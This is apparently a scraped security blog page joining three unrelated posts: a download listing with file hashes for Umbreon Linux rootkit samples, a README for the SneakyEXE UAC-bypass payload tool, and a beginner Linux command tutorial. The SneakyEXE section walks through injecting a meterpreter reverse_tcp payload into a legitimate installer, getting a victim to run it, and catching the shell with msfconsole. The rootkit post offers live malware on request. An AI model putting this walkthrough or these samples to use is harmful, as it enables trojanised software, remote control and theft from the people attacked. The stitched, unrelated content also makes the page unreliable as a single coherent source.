segunda-feira, 24 de agosto de 2020

Rootkit Umbreon / Umreon - X86, ARM Samples



Pokémon-themed Umbreon Linux Rootkit Hits x86, ARM Systems
Research: Trend Micro


There are two packages
one is 'found in the wild' full and a set of hashes from Trend Micro (all but one file are already in the full package)






Download

Download Email me if you need the password  



File information

Part one (full package)

#File NameHash ValueFile Size (on Disk)Duplicate?
1.umbreon-ascii0B880E0F447CD5B6A8D295EFE40AFA376085 bytes (5.94 KiB)
2autoroot1C5FAEEC3D8C50FAC589CD0ADD0765C7281 bytes (281 bytes)
3CHANGELOGA1502129706BA19667F128B44D19DC3C11 bytes (11 bytes)
4cli.shC846143BDA087783B3DC6C244C2707DC5682 bytes (5.55 KiB)
5hideportsD41D8CD98F00B204E9800998ECF8427E0 bytes ( bytes)Yes, of file promptlog
6install.sh9DE30162E7A8F0279E19C2C30280FFF85634 bytes (5.5 KiB)
7Makefile0F5B1E70ADC867DD3A22CA62644007E5797 bytes (797 bytes)
8portchecker006D162A0D0AA294C85214963A3D3145113 bytes (113 bytes)
9promptlogD41D8CD98F00B204E9800998ECF8427E0 bytes ( bytes)
10readlink.c42FC7D7E2F9147AB3C18B0C4316AD3D81357 bytes (1.33 KiB)
11ReadMe.txtB7172B364BF5FB8B5C30FF528F6C51252244 bytes (2.19 KiB)
12setup694FFF4D2623CA7BB8270F5124493F37332 bytes (332 bytes)
13spytty.sh0AB776FA8A0FBED2EF26C9933C32E97C1011 bytes (1011 bytes)Yes, of file spytty.sh
14umbreon.c91706EF9717176DBB59A0F77FE95241C1007 bytes (1007 bytes)
15access.c7C0A86A27B322E63C3C29121788998B8713 bytes (713 bytes)
16audit.cA2B2812C80C93C9375BFB0D7BFCEFD5B1434 bytes (1.4 KiB)
17chown.cFF9B679C7AB3F57CFBBB852A13A350B22870 bytes (2.8 KiB)
18config.h980DEE60956A916AFC9D2997043D4887967 bytes (967 bytes)
19config.h.dist980DEE60956A916AFC9D2997043D4887967 bytes (967 bytes)Yes, of file config.h
20dirs.c46B20CC7DA2BDB9ECE65E36A4F987ABC3639 bytes (3.55 KiB)
21dlsym.c796DA079CC7E4BD7F6293136604DC07B4088 bytes (3.99 KiB)
22exec.c1935ED453FB83A0A538224AFAAC71B214033 bytes (3.94 KiB)
23getpath.h588603EF387EB617668B00EAFDAEA393183 bytes (183 bytes)
24getprocname.hF5781A9E267ED849FD4D2F5F3DFB8077805 bytes (805 bytes)
25includes.hF4797AE4B2D5B3B252E0456020F58E59629 bytes (629 bytes)
26kill.cC4BD132FC2FFBC84EA5103ABE6DC023D555 bytes (555 bytes)
27links.c898D73E1AC14DE657316F084AADA58A02274 bytes (2.22 KiB)
28local-door.c76FC3E9E2758BAF48E1E9B442DB98BF8501 bytes (501 bytes)
29lpcap.hEA6822B23FE02041BE506ED1A182E5CB1690 bytes (1.65 KiB)
30maps.c9BCD90BEA8D9F9F6270CF2017F9974E21100 bytes (1.07 KiB)
31misc.h1F9FCC5D84633931CDD77B32DB1D50D02728 bytes (2.66 KiB)
32netstat.c00CF3F7E7EA92E7A954282021DD72DC41113 bytes (1.09 KiB)
33open.cF7EE88A523AD2477FF8EC17C9DCD7C028594 bytes (8.39 KiB)
34pam.c7A947FDC0264947B2D293E1F4D69684A2010 bytes (1.96 KiB)
35pam_private.h2C60F925842CEB42FFD639E7C763C7B012480 bytes (12.19 KiB)
36pam_vprompt.c017FB0F736A0BC65431A25E1A9D393FE3826 bytes (3.74 KiB)
37passwd.cA0D183BBE86D05E3782B5B24E2C964132364 bytes (2.31 KiB)
38pcap.cFF911CA192B111BD0D9368AFACA03C461295 bytes (1.26 KiB)
39procstat.c7B14E97649CD767C256D4CD6E4F8D452398 bytes (398 bytes)
40procstatus.c72ED74C03F4FAB0C1B801687BE200F063303 bytes (3.23 KiB)
41readwrite.cC068ED372DEAF8E87D0133EAC0A274A82710 bytes (2.65 KiB)
42rename.cC36BE9C01FEADE2EF4D5EA03BD2B3C05535 bytes (535 bytes)
43setgid.c5C023259F2C244193BDA394E2C0B8313667 bytes (667 bytes)
44sha256.h003D805D919B4EC621B800C6C239BAE0545 bytes (545 bytes)
45socket.c348AEF06AFA259BFC4E943715DB5A00B579 bytes (579 bytes)
46stat.cE510EE1F78BD349E02F47A7EB001B0E37627 bytes (7.45 KiB)
47syslog.c7CD3273E09A6C08451DD598A0F18B5701497 bytes (1.46 KiB)
48umbreon.hF76CAC6D564DEACFC6319FA167375BA54316 bytes (4.21 KiB)
49unhide-funcs.c1A9F62B04319DA84EF71A1B091434C644729 bytes (4.62 KiB)
50cryptpass.py2EA92D6EC59D85474ED7A91C8518E7EC192 bytes (192 bytes)
51environment.sh70F467FE218E128258D7356B7CE328F11086 bytes (1.06 KiB)
52espeon-connect.shA574C885C450FCA048E79AD6937FED2E247 bytes (247 bytes)
53espeon-shell9EEF7E7E3C1BEE2F8591A088244BE0CB2167 bytes (2.12 KiB)
54espeon.c499FF5CF81C2624B0C3B0B7E9C6D980D14899 bytes (14.55 KiB)
55listen.sh69DA525AEA227BE9E4B8D59ACFF4D717209 bytes (209 bytes)
56spytty.sh0AB776FA8A0FBED2EF26C9933C32E97C1011 bytes (1011 bytes)
57ssh-hidden.shAE54F343FE974302F0D31776B72D0987127 bytes (127 bytes)
58unfuck.c457B6E90C7FA42A7C46D464FBF1D68E2384 bytes (384 bytes)
59unhide-self.pyB982597CEB7274617F286CA80864F499986 bytes (986 bytes)
60listen.shF5BD197F34E3D0BD8EA28B182CCE7270233 bytes (233 bytes)

part 2 (those listed in the Trend Micro article)
#File NameHash ValueFile Size (on Disk)
1015a84eb1d18beb310e7aeeceab8b84776078935c45924b3a10aa884a93e28acA47E38464754289C0F4A55ED7BB556489375 bytes (9.16 KiB)
20751cf716ea9bc18e78eb2a82cc9ea0cac73d70a7a74c91740c95312c8a9d53aF9BA2429EAE5471ACDE820102C5B81597512 bytes (7.34 KiB)
30a4d5ffb1407d409a55f1aed5c5286d4f31fe17bc99eabff64aa1498c5482a5f0AB776FA8A0FBED2EF26C9933C32E97C1011 bytes (1011 bytes)
40ce8c09bb6ce433fb8b388c369d7491953cf9bb5426a7bee752150118616d8ffB982597CEB7274617F286CA80864F499986 bytes (986 bytes)
5122417853c1eb1868e429cacc499ef75cfc018b87da87b1f61bff53e9b8e86709EEF7E7E3C1BEE2F8591A088244BE0CB2167 bytes (2.12 KiB)
6409c90ecd56e9abcb9f290063ec7783ecbe125c321af3f8ba5dcbde6e15ac64aB4746BB5E697F23A5842ABCAED36C9146149 bytes (6 KiB)
74fc4b5dab105e03f03ba3ec301bab9e2d37f17a431dee7f2e5a8dfadcca4c234D0D97899131C29B3EC9AE89A6D49A23E65160 bytes (63.63 KiB)
88752d16e32a611763eee97da6528734751153ac1699c4693c84b6e9e4fb08784E7E82D29DFB1FC484ED277C70218781855564 bytes (54.26 KiB)
9991179b6ba7d4aeabdf463118e4a2984276401368f4ab842ad8a5b8b730885222B1863ACDC0068ED5D50590CF792DF057664 bytes (7.48 KiB)
10a378b85f8f41de164832d27ebf7006370c1fb8eda23bb09a3586ed29b5dbdddfA977F68C59040E40A822C384D1CEDEB6176 bytes (176 bytes)
11aa24deb830a2b1aa694e580c5efb24f979d6c5d861b56354a6acb1ad0cf9809bDF320ED7EE6CCF9F979AEFE451877FFC26 bytes (26 bytes)
12acfb014304b6f2cff00c668a9a2a3a9cbb6f24db6d074a8914dd69b43afa452584D552B5D22E40BDA23E6587B1BC532D6852 bytes (6.69 KiB)
13c80d19f6f3372f4cc6e75ae1af54e8727b54b51aaf2794fedd3a1aa463140480087DD79515D37F7ADA78FF5793A42B7B11184 bytes (10.92 KiB)
14e9bce46584acbf59a779d1565687964991d7033d63c06bddabcfc4375c5f1853BBEB18C0C3E038747C78FCAB3E0444E371940 bytes (70.25 KiB)

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SneakyEXE: An "UAC-Bypassing" Codes Embedding Tool For Your Win32 Payload


About SneakyEXE
   SneakyEXE is a tool which helps you embedding a UAC-Bypassing function into your custom Win32 payloads (x86_64 architecture specifically).

   SneakyEXE was tested on:
  • Windows 7, 8, 10 (64 bit)
  • Parrot Security OS 4.7

   Requirements of SneakyEXE:
  • For Linux:   Architecture: Optional
       Python 3.7.x: Yes
       Module: termcolor
       Distro: Any
       Distro version: Any
  • For Windows:   Architecture: x86_64
       Python 3.7.x: No
       Module: No
       Windows version: 7, 8, 10

SneakyEXE's Installtion for Linux
   You must install Python 3 first:
  • For Debian-based distros: sudo apt install python3
  • For Arch Linux based distros: sudo pacman -S python3
   And then, open your Terminal and enter these commands:


SneakyEXE's Installtion for Windows
  • Download SneakEXE-master zip file.
  • Unzip it into your optional directory.
  • Change dir to \SneakyEXE\Win32\.
  • Execute sneakyexe.exe (or sys\sneakyexe.exe for an improved startup speed).
  • (Optional : you can copy sneakyexe.exe to whatever directory you want and delete the unzipped one)
   NOTE: The payload can only be successfully executed by the user with Administrator privilege. Users with limited token wouldn't succeed.

SneakyEXE GUI verion installation for Windows
   You must install Python 3 first. Download and run Python 3.7.x setup file from Python.org. On Install Python 3.7, enable Add Python 3.7 to PATH.
   Download SneakEXE-master zip file and unzip it.
   And then, open PowerShell or CMD on SneakyEXE folder where you have just unzipped SneakyEXE-master and enter these command:

pip install pillow
pip install pyinstaller
mkdir compile
cd compile
pyinstaller --windowed --onefile --icon=Icon.ico /source/Win32/GUI.py
cd dist
GUI.exe

How to use SneakyEXE?

Example:
   I dowloaded Unikey from Unikey.org.
   And then, i used msfvenom to inject payload to UniKeyNT.exe (payload used: windows/meterpreter/reverse_tcp). I called the payload file is uNiKeY.exe.

   After that, to embed UAC-Bypassing codes to uNiKeY.exe, i used this command:
python3 sneakyexe bin=/home/hildathedev/uNiKeY.exe out=/home/hildathedev/SneakyEXE

  And then, by some how, makes your victim installs the payload that was embedded UAC-Bypassing codes and enter these commands:

sudo msfconsole -q
use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST <Your IP address>
set LHOST <Your port>
exploit

   and wait...

Disclaimer:
  • This tool was made for academic purposes or ethical cases only. I ain't taking any resposibility upon your actions if you abuse this tool for any black-hat acitivity
  • Feel free to use this project in your software, just don't reclaim the ownerhsip.

Credits: This tool does embed UACme which was originally coded by hfiref0x but the rest was pretty much all coded by me (Zenix Blurryface).

Author: Copyright © 2019 by Zenix Blurryface.


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Linux Command Line Hackery Series - Part 4




Welcome back to Linux Command Line Hackery, hope you have enjoyed this series so far. Today we are going to learn new Linux commands and get comfortable with reading text files on Linux.

Suppose that you wanted to view your /etc/passwd file. How will you do that? From what we have learned so far what you'll do is type:

cat /etc/passwd

And there you go, but really did you see all the output in one terminal? No, you just ended up with last few lines and you'll have to cheat (i,e use graphical scroll bar) in order to see all the contents of /etc/passwd file. So is there a command line tool in linux with which we can see all the contents of a file easily without cheating? Yes, there are actually a few of them and in this article we'll look at some common ones.

Command: more
Syntax:  more [options] file...
Function: more is a filter for paging through text one screenful at a time. With more we can parse a file one terminal at a time or line by line. We can also go backward and forward a number of lines using more.

So if we're to use more on /etc/passwd file how will we do that? We'll simply type

more /etc/passwd

now we'll get a screenful output of the file and have a prompt at the bottom of terminal. In order to move forward one line at a time press <Enter Key>. Using enter we can scroll through the file one line at a time. If you want to move one screen at a time, you can press <Space Key> to move one screen at a time. There are more functions of more program, you can know about them by pressing <h key>. To exit out of more program simply type <q key> and you'll get out of more program.

Command: less
Syntax: less [options] file...
Function: less is similar to more but less has more functionality than more. less is particularly useful when reading large files as less does not have to read the entire input file before starting, so it starts up quickly than many other editors.

less command is based on more so what you've done above with more can be done with less as well. Try it out yourself.

Command: head
Syntax: head [OPTION]... [FILE]...
Function: head command prints the head or first part of a file. By default head prints out first 10 lines of a file. If more than one file is specified, head prints first 10 lines of all files as a default behavior.

If we want to see only first 10 lines of /etc/passwd we can type:

head /etc/passwd

We can also specify to head how many lines we want to view by using the -n flag. Suppose you want to see first 15 lines of /etc/passwd file you've to type:

head -n 15 /etc/passwd

Ok you can view the first lines of a file what about last lines, is there a tool for that also? Exactly that's what our next command will be about.

Command: tail
Syntax: tail [OPTION]... [FILE]...
Function: tail is opposite of head. It prints the last 10 lines of a file by default. And if more than one file is specified, tail prints last 10 lines of all files by default.

To view last 10 lines of /etc/passwd file you'll type:

tail /etc/passwd

and as is the case with head -n flag can be used to specify the number of lines

tail -n 15 /etc/passwd

Now one more thing that we're going to learn today is grep.

Command: grep
Syntax: grep [OPTIONS] PATTERN [FILE...]
Function: grep is used to search a file for lines matching the pattern specified in the command.

A PATTERN can simply be a word like "hello" or it can be a regular expression (in geek speak regex). If you aren't familiar with regex, it's ok we'll not dive into that it's a very big topic but if you want to learn about it I'll add a link at the end of this article that will help you get started with regex.

Now back to grep say we want to find a line in /etc/passwd file which contains my user if we'll simply type:

grep myusername /etc/passwd

Wohoo! It gives out just that data that we're looking for. Remember here myusername is your username.
One cool flag of grep is -v which is used to look in file for every line except the line containing the PATTERN specified after -v [it's lowercase v].

Take your time practicing with these commands especially grep and more. We'll learn a lot more about grep in other upcoming articles.

References:
https://en.wikipedia.org/wiki/Regular_expression
http://www.regular-expressions.info/
Awesome website to learn Regular expressions - http://www.regexr.com/
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